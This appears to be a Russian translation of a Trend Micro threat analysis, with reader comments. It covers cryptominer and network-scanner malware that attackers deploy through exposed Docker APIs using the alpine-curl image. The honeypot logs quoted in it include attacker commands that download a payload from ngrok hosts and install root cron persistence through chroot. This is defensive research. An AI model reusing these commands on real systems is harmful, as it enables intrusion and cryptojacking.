Мы проанализировали данные, собранные с помощью контейнеров-honeypots — они были созданы нами для отслеживания угроз. И мы обнаружили значительную активность нежелательных или неавторизованных майнеров криптовалют, развернутых в качестве мошеннических контейнеров с использованием опубликованного сообществом образа на Docker Hub. Образ применяется в качестве части сервиса, доставляющего вредоносные программы-майнеры криптовалют.
Дополнительно устанавливаются программы для работы с сетями для проникновения в открытые соседние контейнеры и приложения.
Мы оставляем наши honeypots, как есть, то есть с настройками, идущими по умолчанию, без каких-либо мер безопасности или последующей установки дополнительного ПО. Обращаем внимание на то, что у Docker есть рекомендации по первоначальной настройке, чтобы избежать ошибок и простейших уязвимостей. Но используемые honeypots являются контейнерами, предназначенными для обнаружения атак, направленных на платформу контейнеризации, а не на приложения внутри контейнеров.
Обнаруженная вредоносная активность примечательна также тем, что не требует наличия уязвимостей, а также независима от версии Docker. Поиск неверно настроенного, а поэтому открытого образа контейнера — все, что надо злоумышленникам для заражения множества открытых серверов.
Незакрытый Docker API разрешает пользователю выполнять широкий набор команд, включая получение списка запущенных контейнеров, получение журналов из определенного контейнера, запуск, остановка (в том числе и принудительная) и даже создание нового контейнера с определенного образа с заданными настройками.
Слева — способ доставки вредоносной программ. Справа — окружение атакующего, позволяющее удаленную раскатку образов.
Распределение по странам из 3762 открытых Docker API. Основано на поиске в Shodan от 12.02.2019
Цепочка атаки и варианты полезной нагрузки
Вредоносную активность получилось обнаружить не только с помощью honeypots. Данные из Shodan показывают, что количество открытых Docker API (см. второй график) выросло с тех пор, как мы исследовали неверно настроенный контейнер, использовавшийся в качестве моста для развертывания ПО для майнинга криптовалюты Monero. В октябре прошлого года (2018, актуальные данные можно посмотреть так прим. переводчика) было только 856 открытых API.
Изучение журналов honeypots показало, что использование образа контейнера также связано с использованием ngrok, инструментом установки безопасных соединений или проброса трафика с публично доступных точек к указанным адресам или ресурсам (например localhost). Это позволяет злоумышленникам динамически создавать URL`ы при доставке полезной нагрузки на открытый сервер. Ниже примеры кода из журналов, показывающие злоупотребление сервисом ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Как вы видите, загруженные файлы скачиваются из постоянно меняющихся URL. Эти URL имеют короткий срок действия, поэтому полезные нагрузки не могут быть загружены после истечения срока действия.
Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.
Скрипт-дроппер выставляет две переменные, используемые потом для развертывания майнера криптовалюты. Переменная HOST содержит URL, где размещены вредоносные файлы, а переменная RIP — имя файла (по факту хэш) майнера для развертывания. Переменная HOST меняется каждый раз при изменении переменной с хэшем. Скрипт также пробует проверять, что на атакуемом сервере не работают другие майнеры криптовалют.
Примеры переменных HOST и RIP, а также отрывок кода, используемого в качестве проверки, что не запущены другие майнеры
Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.
У поискового скрипта также есть особенности. Он работает с тем же сервисом URL для разворачивания необходимых инструментов. Среди них есть бинарник zmap, используемый для сканирования сетей и получения списка открытых портов. Скрипт также загружает другой бинарник, используемый для взаимодействия с найденными сервисами и получения от них баннеров для определения дополнительной информации о найденном сервисе (например его версию).
Скрипт также заранее определяет некоторые сетевые диапазоны для сканирования, но это зависит от версии скрипта. Также в нем задаются целевые порты от сервисов — в данном случае Docker — перед запуском сканирования.
Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, Kubernetes Master, клиент Docker 1.16 и Apache CouchDB. Если сканируемый сервер соответствует любому из них — он сохраняется в текстовом файле, который злоумышленники в дальнейшем смогут использовать для последующего анализа и взлома. Эти текстовые файлы загружаются на сервера злоумышленников по динамическим ссылкам. То есть для каждого файла используется отдельный URL, что означает трудности при последующем доступе.
В качестве вектора атаки применяется образ Docker, как это видно на последующих двух кусочках кода.
Сверху — переименование в легитимный сервис, а снизу — как применяется zmap для сканирования сетей
Сверху — предопределенные сетевые диапазоны, снизу — определенные порты для поиска сервисов, включая Docker
На снимке экрана видно, что образ alpine-curl скачан более 10 млн раз
На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать образ Docker. Как видно на предыдущем рисунке, этот образ уже был скачан более 10 миллионов раз. Большое число загрузок может означать использование этого образа в качестве точки входа, обновление этого образа было более полугода назад, другие образы этого репозитория пользователи не загружали так же часто. В Docker точка входа — набор инструкций, используемых для настройки контейнера для его запуска. Если настройки точки входа некорректны (к примеру контейнер оставлен открытым из Интернета), образ можно использовать как вектор атаки. Взломщики могут его использовать для доставки полезной нагрузки, если обнаружат оставленный без поддержки неверно настроенный или открытый контейнер.
Важно отметить, что этот образ (alpine-curl) сам по себе не является вредоносным, однако как можно увидеть выше — с его помощью можно выполнять вредоносные функции. Схожие образы Docker также могут быть использованы для совершения злонамеренных действий. Мы связались с Docker и работали с ними над этой проблемой.
Рекомендации
Неверная настройка остается постоянной проблемой для многих компаний, особенно внедряющих DevOps, ориентированный на быструю разработку и доставку. Все усугубляется из-за необходимости соблюдать правила аудита, мониторинга, необходимостью слежения за конфиденциальностью данных, а также огромным ущербом от их несоблюдения. Внедрение автоматизации безопасности в жизненный цикл разработки не только помогает найти дыры в безопасности, которые иначе могли бы остаться незамеченными, но и позволяет уменьшить излишнюю рабочую нагрузку, например запуск дополнительных сборок ПО для каждой обнаруженной уязвимости или неверной настройки после развертывания приложения.
Инцидент, обсуждаемый в этой статье, подчеркивает необходимость позаботиться о безопасности изначально, включая следующие рекомендации:
- Для системных администраторов и разработчиков: всегда проверяйте настройки API, чтобы убедиться что все настроено для приема запросов только от определенного сервера или внутренней сети.
- Следуйте принципу минимальных прав: проверьте, что образы контейнеров подписаны и проверены, ограничьте доступ к критически важным компонентам (сервис запуска контейнеров) и добавьте шифрование сетевых соединений.
- Следуйте рекомендациям и включите механизмы безопасности, например от Docker и встроенные функции безопасности.
- Применяйте автоматизированное сканирование сред исполнения и образов для получения дополнительной информации о процессах, запущенных в контейнере (например, для определения подмены или поиска уязвимостей). Контроль приложений и мониторинг целостности помогают отслеживать аномальные изменения на серверах, файлах и системных областях.
Trendmicro помогает командам DevOps собирать безопасно, выкатывать быстро и запускаться где угодно. Trend Micro Hybrid Cloud Security обеспечивает мощную, оптимизированную и автоматизированную безопасность в рамках конвейера DevOps организации и предоставляет несколько способов защиты от угроз XGen для защиты физических, виртуальных и облачных рабочих нагрузок во время выполнения. Он также добавляет защиту контейнеров с помощью Deep Security и Deep Security Smart Check, которые сканируют образы контейнеров Docker на наличие вредоносных программ и уязвимостей на любом интервале в конвейере разработки для предотвращения угроз до их развертывания.
Признаки компрометации
Связанные хэши:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
На видеокурсе по Docker спикеры-практики показывают, какие настройки необходимо сделать в первую очередь, чтобы минимизировать вероятность или полностью избежать возникновения описанной выше ситуации. А 19-21 августа на онлайн-интенсиве DevOps Tools&Cheats эти и подобные проблемы безопасности вы сможете обсудить с коллегами и преподавателями-практиками на круглом столе, где каждый сможет высказаться и послушать про боли и успехи опытных коллег.
gecube
Я лично из статьи, извините, ничего не понял. Сорян. Кроме того, что плохо оставлять докер демон открытым для доступа извне (т.е. доступ по локальному сокеты = безопасные дефолты)
WAT?
что оставлено открытым из интернета?
В оригинале:
совсем другой смысл — "если настройки entrypoint контейнер неправильно заданы (т.е. контейнер запущен открытым для доступа из интернета), они могут быть использованы как вектор атаки", ну, или "этот контейнер может быть использован как вектор атаки" — здесь верны обе формулировки по сути
в оригинале: